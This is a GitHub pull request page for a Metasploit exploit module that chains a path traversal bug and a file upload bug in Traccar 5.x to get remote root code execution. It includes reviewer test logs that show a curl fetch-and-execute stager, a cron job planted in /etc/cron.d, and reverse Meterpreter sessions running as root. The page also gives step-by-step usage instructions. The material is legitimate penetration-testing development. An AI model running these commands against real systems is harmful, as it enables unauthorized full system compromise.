-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Traccar 5 RCE (CVE-2024-31214 & CVE-2024-24809) Module #19416
Conversation
CVE-2024-31214 & CVE-2024-24809
PoC & Documentation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the great module @h4x-x0r. I followed the setup and verification steps provided and the module worked great. I left a couple minor suggestions. Let me know if you have any questions!
Testing Traccar v5.12 on Rocky 9.4
msf6 exploit(linux/http/traccar_rce_upload) > run
[*] Command to run on remote host: curl -so ./fzxfIziqe http://172.16.199.1:8080/Hn-8qIL46e0vZdQpIHPToA; chmod +x ./fzxfIziqe; ./fzxfIziqe &
[*] Fetch handler listening on 172.16.199.1:8080
[*] HTTP server started
[*] Adding resource /Hn-8qIL46e0vZdQpIHPToA
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Version retrieved: 5.12
[+] The target appears to be vulnerable.
[*] Registering new user...
[*] Authenticating...
[*] JSESSIONID: node0zr2il1bs4k2hjpc2gkowvsf59.node0
[*] Adding new device...
[*] Uploading crontab file...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.16.199.130
[*] Cronjob successfully written - please wait 60 seconds for execution...
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.130:45060) at 2024-08-28 15:43:13 -0400
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Red Hat 9.4 (Linux 5.14.0-427.31.1.el9_4.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
Thank you for reviewing my PR and providing feedback. I'll work through your comments and update the code accordingly. |
I've updated the code based on the feedback received.
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hey @h4x-x0r, thanks for address all those comments. I've retested and everything is working as expect, much appreciated. Landing now.
Edit: Removing unnecessary jsessionid
parsing then landing.
Testing
msf6 exploit(linux/http/traccar_rce_upload) > run
[*] Started reverse TCP handler on 192.168.1.67:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Registering new user...
[*] Authenticating...
[*] Adding new device...
[*] Uploading crontab file...
[*] Cronjob successfully written - waiting for execution...
[*] Sending stage (3045380 bytes) to 192.168.1.67
[+] Deleted /etc/cron.d/40576ea71c74fe5cdc3a0e9a"
[*] Meterpreter session 1 opened (192.168.1.67:4444 -> 192.168.1.67:51643) at 2024-09-23 14:51:01 -0700
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Red Hat 9.4 (Linux 5.14.0-427.31.1.el9_4.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Release NotesThis module exploits two vulnerabilities in Traccar v5.1 - v5.12 to obtain remote code execution: A path traversal vulnerability CVE-2024-24809 and an unrestricted file upload vulnerability CVE-2024-31214. |
@jheysel-r7 Thank you! |
This is a new module which exploits two vulnerabilities in Traccar v5.1 - v5.12 to obtain remote code execution: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214). By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise.
This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.
Verification Steps
msfconsole
use exploit/linux/http/traccar_rce_upload
set RHOSTS <IP>
set LHOST<IP>
exploit
A new crontab file should have been written to
/etc/cron.d/
that executes the specified fetch command to get you a meterpreter session in the context ofroot
.Successfully tested on
Notes
At the end, I've added a one minute sleep command, as otherwise the handler might terminate before the cronjob got executed and meterpreter session established.
Not sure if there is a proper MSF way to handle this except for running a handler as a standalone instance?